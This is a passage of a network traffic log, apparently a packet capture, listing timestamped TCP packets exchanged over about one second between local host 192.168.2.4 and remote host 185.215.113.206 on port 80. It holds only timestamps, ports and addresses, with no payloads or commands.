Nov 1, 2024 05:52:09.162545919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.162564993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.162595034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.163410902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.163419962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.163467884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.205733061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.205790997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.205806017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.205845118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.205845118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.205868959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.205879927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.205904961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.205914021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.205945969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.205984116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.206302881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.206346035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.206363916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.206391096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.206442118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.206465960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.206480980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.206496954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.206506968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.206542015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.207022905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.207039118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.207052946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.207084894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.207099915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281251907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281272888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281289101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281305075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281342983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281374931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281450033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281466007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281511068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281557083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281618118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281656981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281677961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281702042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281793118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281809092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281826019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281840086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.281852007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281876087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.281905890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.324939966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.324968100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.324984074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325010061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325032949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325052977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325071096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325103998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325115919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325262070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325278044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325295925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325310946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325337887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325345993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325355053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325371981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.325383902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325406075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.325431108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.326152086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.326168060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.326183081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.326211929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.326236963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.399956942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.399971962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400005102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400038004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400053024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400060892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400111914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400207043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400233030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400249958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400255919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400271893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400295019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400564909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400604963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400623083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400641918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400697947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400734901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400751114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400764942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.400789022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400789022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.400815010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.443878889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.443926096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.443969011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.443972111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444000959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444029093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444030046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444048882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444066048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444075108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444082975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444098949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444106102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444132090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444174051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444849968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444865942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444881916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.444909096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.444925070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.445151091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.445167065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.445182085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.445204973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.445226908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.445492983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.445508003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.445522070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.445547104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.445580959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519015074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519058943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519074917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519123077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519160032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519171953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519188881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519203901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519226074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519251108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519426107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519470930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519486904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519486904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519516945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519543886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519783974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519800901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519814968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.519838095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.519876957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563287973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563318968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563338041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563393116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563409090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563417912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563435078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563452005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563467979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563503027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563503027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563520908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563611984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563627958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563644886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563651085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563685894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.563690901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563730001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.563738108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.564050913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.564083099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.564100981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.564116001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.564131975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.564146042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.564146042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.564146042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.564152002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.564167023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.564193010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.564210892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.638226986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638253927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638278008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638300896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638314962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638330936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638326883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.638350964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638361931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.638406992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.638741970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638762951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638780117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.638784885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.638818026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.638834953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682068110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682081938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682133913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682286978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682301998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682318926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682334900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682343960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682358980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682362080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682372093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682375908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682389021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682394028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.682408094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682423115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.682439089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.683010101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683024883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683048964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683063030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683063984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.683079958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683095932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683103085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.683141947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.683784008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683799028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683815002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.683837891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.683873892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757239103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757253885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757267952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757291079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757323980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757370949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757385969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757409096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757419109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757440090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757458925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757469893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757486105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757525921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757539034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.757982016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.757997990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.758012056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.758039951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.758102894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801289082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801347971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801352978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801368952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801386118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801387072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801402092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801409960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801425934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801449060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801482916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801523924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801539898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801547050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801583052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801593065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801822901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801840067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801866055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801882029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.801917076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801917076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801917076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.801935911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.802303076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.802328110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.802345991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.802361965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.802377939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.802381039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.802381039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.802393913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.802427053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.802427053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.802427053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.802445889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.803045988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.803059101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.803101063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.803127050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876171112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876187086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876200914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876252890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876287937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876303911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876310110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876321077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876332998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876337051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876358986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876368999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876389027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876687050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876713991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876728058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.876739025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876754999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.876775980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920397997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920414925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920432091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920458078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920474052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920490026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920490026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920505047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920521975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920536995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920573950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920746088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920759916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920775890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920785904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920816898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920823097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920835018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920851946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920867920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920883894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.920886993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920916080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.920944929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.921633959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.921659946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.921675920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.921681881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.921699047 CET	49730	80	192.168.2.4	185.215.113.206
